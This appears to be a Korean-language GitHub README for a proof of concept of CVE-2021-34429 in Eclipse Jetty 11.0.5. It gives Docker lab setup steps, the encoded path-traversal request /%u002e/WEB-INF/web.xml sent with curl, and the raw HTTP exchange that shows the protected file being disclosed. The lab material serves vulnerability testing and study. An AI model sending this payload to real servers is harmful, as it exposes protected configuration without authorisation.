coldfusionx/cve-2021-34429POC for CVE-2021-34429 - Eclipse Jetty 11.0.5 Sensitive File Disclosure
CVE-2021-34429에 대한 PoC - Eclipse Jetty 11.0.5 민감한 파일 노출
전제 조건: 시스템에 Docker와 docker-compose 설치
Debian 기반 배포판(예: Ubuntu, Kali Linux 등)의 경우 다음 명령어를 사용하세요
apt install docker.io
apt install docker-compose
Windows, Mac 및 기타 배포판의 경우 다음 가이드를 참조하세요:
docker-compose up -d 실행http://localhost:8080/에서 실행 중이어야 합니다
다음 GET 요청을 보내세요: http://localhost:8080/%u002e/WEB-INF/web.xml
curl -v 'localhost:8080/%u002e/WEB-INF/web.xml'GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Connection: close
Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT
Content-Type: application/xml
Accept-Ranges: bytes
Content-Length: 209
Server: Jetty(11.0.5)
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>ColdFusionX - Web Application</display-name>
</web-app>